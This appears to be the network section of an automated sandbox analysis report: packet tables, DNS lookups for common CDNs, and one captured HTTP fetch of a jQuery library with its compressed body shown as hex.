Aug 28, 2024 15:08:31.464433908 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:31.464447975 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.173342943 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.173538923 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:32.176953077 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:32.176969051 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.177278042 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.227910042 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:32.753880978 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:32.800496101 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.983906031 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.983930111 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.983942986 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.983993053 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.984000921 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:32.984040022 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.984064102 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.984097958 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.984112978 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:32.984112978 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:32.984124899 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:32.984154940 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:32.984828949 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.984884977 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:32.984891891 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.984906912 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:32.984956026 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:33.497582912 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:33.497622967 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:33.497636080 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:33.497642994 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:33.614202023 CEST	443	49731	172.217.23.100	192.168.2.5
Aug 28, 2024 15:08:33.614279032 CEST	443	49731	172.217.23.100	192.168.2.5
Aug 28, 2024 15:08:33.614342928 CEST	49731	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:08:34.580423117 CEST	49731	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:08:34.580451965 CEST	443	49731	172.217.23.100	192.168.2.5
Aug 28, 2024 15:09:04.525190115 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:09:04.530078888 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:09:10.971430063 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:10.971488953 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:10.971592903 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:10.972129107 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:10.972143888 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.660780907 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.660855055 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.665966988 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.665985107 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.666323900 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.677309990 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.724495888 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.925545931 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.925573111 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.925590038 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.925652027 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.925683022 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.925707102 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.925729036 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.927927017 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.927967072 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.928004026 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.928009987 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.928021908 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.928052902 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.928083897 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.935297966 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.935312986 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:11.935327053 CEST	49747	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:09:11.935332060 CEST	443	49747	13.85.23.86	192.168.2.5
Aug 28, 2024 15:09:23.088772058 CEST	49749	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:09:23.088819981 CEST	443	49749	172.217.23.100	192.168.2.5
Aug 28, 2024 15:09:23.089047909 CEST	49749	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:09:23.089319944 CEST	49749	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:09:23.089330912 CEST	443	49749	172.217.23.100	192.168.2.5
Aug 28, 2024 15:09:23.726423025 CEST	443	49749	172.217.23.100	192.168.2.5
Aug 28, 2024 15:09:23.728609085 CEST	49749	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:09:23.728632927 CEST	443	49749	172.217.23.100	192.168.2.5
Aug 28, 2024 15:09:23.729075909 CEST	443	49749	172.217.23.100	192.168.2.5
Aug 28, 2024 15:09:23.729471922 CEST	49749	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:09:23.729537964 CEST	443	49749	172.217.23.100	192.168.2.5
Aug 28, 2024 15:09:23.775269032 CEST	49749	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:09:33.635346889 CEST	443	49749	172.217.23.100	192.168.2.5
Aug 28, 2024 15:09:33.635435104 CEST	443	49749	172.217.23.100	192.168.2.5
Aug 28, 2024 15:09:33.635489941 CEST	49749	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:09:35.597338915 CEST	49749	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:09:35.597366095 CEST	443	49749	172.217.23.100	192.168.2.5
Aug 28, 2024 15:09:49.540627956 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:09:49.545743942 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:10:34.555977106 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:10:34.560965061 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:11:19.574489117 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:11:19.579324961 CEST	80	49714	104.17.24.14	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 15:08:18.834700108 CEST	53	51013	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.952385902 CEST	56189	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:18.952789068 CEST	53	53366	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.952965975 CEST	51978	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:18.954174042 CEST	55648	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:18.954376936 CEST	50283	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:18.954885006 CEST	59452	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:18.955032110 CEST	51559	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:18.955475092 CEST	49514	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:18.955620050 CEST	60662	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:18.956501007 CEST	49636	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:18.956648111 CEST	53	58683	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.956680059 CEST	63510	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:18.957611084 CEST	53	65007	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.959462881 CEST	53	56189	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.960735083 CEST	53	55648	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.961085081 CEST	53	50283	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.961954117 CEST	53	59452	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.962127924 CEST	53	49514	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.963013887 CEST	53	60662	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.964389086 CEST	53	49636	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:18.964893103 CEST	53	63510	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.828881979 CEST	59103	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:19.829030991 CEST	55566	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:19.830409050 CEST	62937	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:19.830602884 CEST	57628	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:19.831949949 CEST	55719	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:19.832170963 CEST	62169	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:19.832999945 CEST	54424	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:19.833236933 CEST	53223	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:19.833719969 CEST	49492	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:19.833858967 CEST	51671	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:19.837946892 CEST	53	59103	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.837960005 CEST	53	55566	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.841131926 CEST	53	57628	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.841661930 CEST	53	62937	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.842339039 CEST	53	55719	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.843385935 CEST	53	54424	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.843767881 CEST	53	62169	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.844218016 CEST	53	49492	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.844228029 CEST	53	51671	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.845108986 CEST	53	53223	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:19.845992088 CEST	53	49595	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:20.041172028 CEST	53	50226	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:20.212423086 CEST	53	49829	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:20.251331091 CEST	53	56998	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:21.193747997 CEST	53	50725	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:23.027647972 CEST	60734	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:23.028280973 CEST	56280	53	192.168.2.5	1.1.1.1
Aug 28, 2024 15:08:23.043282986 CEST	53	56280	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:23.043739080 CEST	53	60734	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:23.714832067 CEST	53	54934	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:37.965404034 CEST	53	52544	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:38.015305042 CEST	53	60333	1.1.1.1	192.168.2.5
Aug 28, 2024 15:08:55.870522976 CEST	53	56605	1.1.1.1	192.168.2.5
Aug 28, 2024 15:09:18.672761917 CEST	53	61913	1.1.1.1	192.168.2.5
Aug 28, 2024 15:09:18.919070959 CEST	53	58944	1.1.1.1	192.168.2.5
Aug 28, 2024 15:09:46.792450905 CEST	53	61617	1.1.1.1	192.168.2.5
Aug 28, 2024 15:10:31.519263029 CEST	53	50198	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 28, 2024 15:08:38.015415907 CEST	192.168.2.5	1.1.1.1	c222	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 28, 2024 15:08:18.952385902 CEST	192.168.2.5	1.1.1.1	0x5210	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.952965975 CEST	192.168.2.5	1.1.1.1	0x7359	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 28, 2024 15:08:18.954174042 CEST	192.168.2.5	1.1.1.1	0x478b	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.954376936 CEST	192.168.2.5	1.1.1.1	0xfb2c	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Aug 28, 2024 15:08:18.954885006 CEST	192.168.2.5	1.1.1.1	0xf8c4	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.955032110 CEST	192.168.2.5	1.1.1.1	0x9e32	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 28, 2024 15:08:18.955475092 CEST	192.168.2.5	1.1.1.1	0x94eb	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.955620050 CEST	192.168.2.5	1.1.1.1	0xf56e	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Aug 28, 2024 15:08:18.956501007 CEST	192.168.2.5	1.1.1.1	0xfb70	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.956680059 CEST	192.168.2.5	1.1.1.1	0xe2e3	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Aug 28, 2024 15:08:19.828881979 CEST	192.168.2.5	1.1.1.1	0xd47e	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.829030991 CEST	192.168.2.5	1.1.1.1	0xcae3	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 28, 2024 15:08:19.830409050 CEST	192.168.2.5	1.1.1.1	0x31e9	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.830602884 CEST	192.168.2.5	1.1.1.1	0xf376	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Aug 28, 2024 15:08:19.831949949 CEST	192.168.2.5	1.1.1.1	0x43e0	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.832170963 CEST	192.168.2.5	1.1.1.1	0x32c8	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 28, 2024 15:08:19.832999945 CEST	192.168.2.5	1.1.1.1	0x6615	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.833236933 CEST	192.168.2.5	1.1.1.1	0xc3ea	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Aug 28, 2024 15:08:19.833719969 CEST	192.168.2.5	1.1.1.1	0x4daf	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.833858967 CEST	192.168.2.5	1.1.1.1	0xe27f	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Aug 28, 2024 15:08:23.027647972 CEST	192.168.2.5	1.1.1.1	0x59ab	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:23.028280973 CEST	192.168.2.5	1.1.1.1	0x4fb5	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 28, 2024 15:08:18.959462881 CEST	1.1.1.1	192.168.2.5	0x5210	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.959462881 CEST	1.1.1.1	192.168.2.5	0x5210	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.960735083 CEST	1.1.1.1	192.168.2.5	0x478b	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.960735083 CEST	1.1.1.1	192.168.2.5	0x478b	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.960735083 CEST	1.1.1.1	192.168.2.5	0x478b	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.960735083 CEST	1.1.1.1	192.168.2.5	0x478b	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.961954117 CEST	1.1.1.1	192.168.2.5	0xf8c4	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.961954117 CEST	1.1.1.1	192.168.2.5	0xf8c4	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.962127924 CEST	1.1.1.1	192.168.2.5	0x94eb	No error (0)	maxcdn.bootstrapcdn.com	104.18.10.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.962127924 CEST	1.1.1.1	192.168.2.5	0x94eb	No error (0)	maxcdn.bootstrapcdn.com	104.18.11.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.963013887 CEST	1.1.1.1	192.168.2.5	0xf56e	No error (0)	maxcdn.bootstrapcdn.com		65	IN (0x0001)	false
Aug 28, 2024 15:08:18.964389086 CEST	1.1.1.1	192.168.2.5	0xfb70	No error (0)	stackpath.bootstrapcdn.com	104.18.10.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.964389086 CEST	1.1.1.1	192.168.2.5	0xfb70	No error (0)	stackpath.bootstrapcdn.com	104.18.11.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:18.964893103 CEST	1.1.1.1	192.168.2.5	0xe2e3	No error (0)	stackpath.bootstrapcdn.com		65	IN (0x0001)	false
Aug 28, 2024 15:08:19.837946892 CEST	1.1.1.1	192.168.2.5	0xd47e	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.837946892 CEST	1.1.1.1	192.168.2.5	0xd47e	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.837960005 CEST	1.1.1.1	192.168.2.5	0xcae3	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Aug 28, 2024 15:08:19.841661930 CEST	1.1.1.1	192.168.2.5	0x31e9	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.841661930 CEST	1.1.1.1	192.168.2.5	0x31e9	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.841661930 CEST	1.1.1.1	192.168.2.5	0x31e9	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.841661930 CEST	1.1.1.1	192.168.2.5	0x31e9	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.842339039 CEST	1.1.1.1	192.168.2.5	0x43e0	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.842339039 CEST	1.1.1.1	192.168.2.5	0x43e0	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.843385935 CEST	1.1.1.1	192.168.2.5	0x6615	No error (0)	stackpath.bootstrapcdn.com	104.18.11.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.843385935 CEST	1.1.1.1	192.168.2.5	0x6615	No error (0)	stackpath.bootstrapcdn.com	104.18.10.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.843767881 CEST	1.1.1.1	192.168.2.5	0x32c8	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Aug 28, 2024 15:08:19.844218016 CEST	1.1.1.1	192.168.2.5	0x4daf	No error (0)	maxcdn.bootstrapcdn.com	104.18.10.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.844218016 CEST	1.1.1.1	192.168.2.5	0x4daf	No error (0)	maxcdn.bootstrapcdn.com	104.18.11.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:08:19.844228029 CEST	1.1.1.1	192.168.2.5	0xe27f	No error (0)	maxcdn.bootstrapcdn.com		65	IN (0x0001)	false
Aug 28, 2024 15:08:19.845108986 CEST	1.1.1.1	192.168.2.5	0xc3ea	No error (0)	stackpath.bootstrapcdn.com		65	IN (0x0001)	false
Aug 28, 2024 15:08:23.043282986 CEST	1.1.1.1	192.168.2.5	0x4fb5	No error (0)	www.google.com		65	IN (0x0001)	false
Aug 28, 2024 15:08:23.043739080 CEST	1.1.1.1	192.168.2.5	0x59ab	No error (0)	www.google.com	172.217.23.100	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

code.jquery.com

stackpath.bootstrapcdn.com

maxcdn.bootstrapcdn.com

cdnjs.cloudflare.com

fs.microsoft.com

slscr.update.microsoft.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49714	104.17.24.14	80	4084	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Aug 28, 2024 15:08:18.973359108 CEST	309	OUT	GET /ajax/libs/jquery/2.1.3/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Aug 28, 2024 15:08:19.428258896 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:08:19 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 29730 Connection: keep-alive Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 Content-Encoding: gzip ETag: "5eb03ec4-14983" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff Vary: Accept-Encoding CF-Cache-Status: HIT Age: 1180252 Expires: Mon, 18 Aug 2025 13:08:19 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bVPCLKVeWDBS6JJHbfVu0yUKSmvuMUcnOylEhh%2BP4iyxHWVI9RoRVox0KVrLh4aeB%2BcBtgvr1vZf1E4dq31NnDPmvmO%2Bu5Sq0FLriPFlxFN5NFRGIasQ5vn8CvWDD4XNsPiTIRJm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba487851c1bc434-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 1f 8b 08 00 00 00 00 00 02 ff cc fd 7b 93 db 36 b2 38 0c ff ff fb 14 23 ae 0f 43 8c 20 8d e4 24 fb 9e a5 8c 61 39 76 b2 c9 c6 4e b2 b1 77 93 3d 14 bd 05 90 20 c5 19 8a d4 50 d4 5c 22 32 9f fd 2d 34 00 12 a4 28 3b 7b 7e cf 53 f5 94 cb 23 12 c4 1d 8d be a1 bb 71 75 39 b9 b8 f9 fb 81 97 4f 17 f7 cf e7 cb f9 e7 17 f5 85 13 a2 8b e7 8b c5 97 f8 e2 f9 62 f9 85 fe fc 4d 71 c8 23 5a a5 45 8e 2f be cb c3 f9 45 7d 71 73 27 be cc 8b 32 b9 ca d2 90 e7 7b 7e 71 79 f5 7f 26 f1 21 0f 45 3e 87 62 86 8e 56 c1 6e 78 58 59 84 54 4f 3b 5e c4 17 db 22 3a 64 dc b6 cf 7c 98 f3 c7 5d 51 56 7b af ff 4a e8 3c 2a c2 c3 96 e7 95 c7 1c 8a 27 0b e4 76 0d a1 63 1a 3b 93 2e 0b aa 36 65 f1 70 91 f3 87 8b af cb b2 28 1d 4b 8d a2 e4 77 87 b4 e4 fb 0b 7a f1 90 e6 51 f1 70 f1 90 56 9b 0b Data Ascii: {68#C $a9vNw= P\"2-4(;{~S#qu9ObMq#ZE/E}qs'2{~qy&!E>bVnxXYTO;^":d\|]QV{J<*'vc;.6ep(KwzQpV
Aug 28, 2024 15:08:19.428278923 CEST	224	IN	Data Raw: 7a a1 4b 5a 68 55 f2 ea 50 e6 17 cc a1 a8 71 e1 af 63 1d f2 88 c7 69 ce 23 6b a2 bb 2b cb 7b f2 c7 ad 36 e9 1e f7 47 7e 4f cb 8b 90 f8 01 8e 48 38 df 8b 19 c2 9c 84 f3 b0 c8 43 5a e1 98 84 f3 dd 61 bf c1 09 09 e7 69 1e f1 c7 1f 63 bc 21 c7 06 a7 Data Ascii: zKZhUPqci#k+{6G~OH8CZaic!d3wU!\|*/'\|+2e-`,~XD8yZ\|7`Z]%xG>#W3_Gt[yUc+jVeweQbQBaV
Aug 28, 2024 15:08:19.428297043 CEST	1236	IN	Data Raw: 45 e9 e6 78 cf 33 0e 8f 96 85 33 9e 27 d5 c6 5d e0 aa 78 59 96 f4 a9 5b ed b6 a1 68 1e d2 2c 73 c4 d4 a3 06 27 bc ea 41 84 1e fa 21 cb 26 84 7a 8b 6b ea 89 9c 3e 9d 8a 9f b9 ac 3f 70 65 5a e0 f6 2b 13 2b f3 ae a2 e1 6d af 4a b1 a2 8c e4 f3 2d 2f Data Ascii: Ex33']xY[h,s'A!&zk>?peZ++mJ-/Yi=]'L\|/5p\\|\-l;-9}d8lS9XCQ)BAvQEqZs;gf-Q+C2SG,'s\|^ma p@TGgG.X]
Aug 28, 2024 15:08:19.428349018 CEST	1236	IN	Data Raw: fc 72 86 15 20 e0 61 e7 a2 eb 84 9a 3f 82 26 89 df e9 14 c7 9a 85 10 68 eb c1 7d 4d 2b 3e cf 8b 07 bc 3f ec 84 8c ea de 36 a2 af c0 b1 5b 5f 49 06 ed e2 87 c3 96 f1 f2 42 4a 73 17 7a 14 17 00 d3 17 a2 86 8b 9f 79 f2 f5 e3 ee 42 6e 13 c9 1d 58 c0 Data Ascii: r a?&h}M+>?6[_IBJszyBnXKVuaP-_RkV`'t}CnjG.L6&bBroo=`gKFt"#tMsxS\|oq8;\=X2nMMQ,#Y'aqUpA22Y h+\|
Aug 28, 2024 15:08:19.428360939 CEST	448	IN	Data Raw: 59 c2 ab 26 b8 91 68 77 c2 6d 7b 07 b2 e0 52 e5 75 62 f2 ef 39 7f e4 20 f0 0a 42 7d 43 62 7f 19 40 9e bf 10 51 5e 3c 6d 08 9b 27 bc 52 12 f6 57 4f df 45 ce 0d c2 93 4d 5d 4f 36 86 18 dd 6b 6b 33 4f 85 94 76 d3 26 4a ce 7a 83 70 d4 4a 89 83 49 b0 Data Ascii: Y&hwm{Rub9 B}Cb@Q^<m'RWOEM]O6kk3Ov&JzpJImhv.axlSm@as<DHb0v:8j>qrWy <II0HP,<iB R.Svc'eK`zafGxO,?g
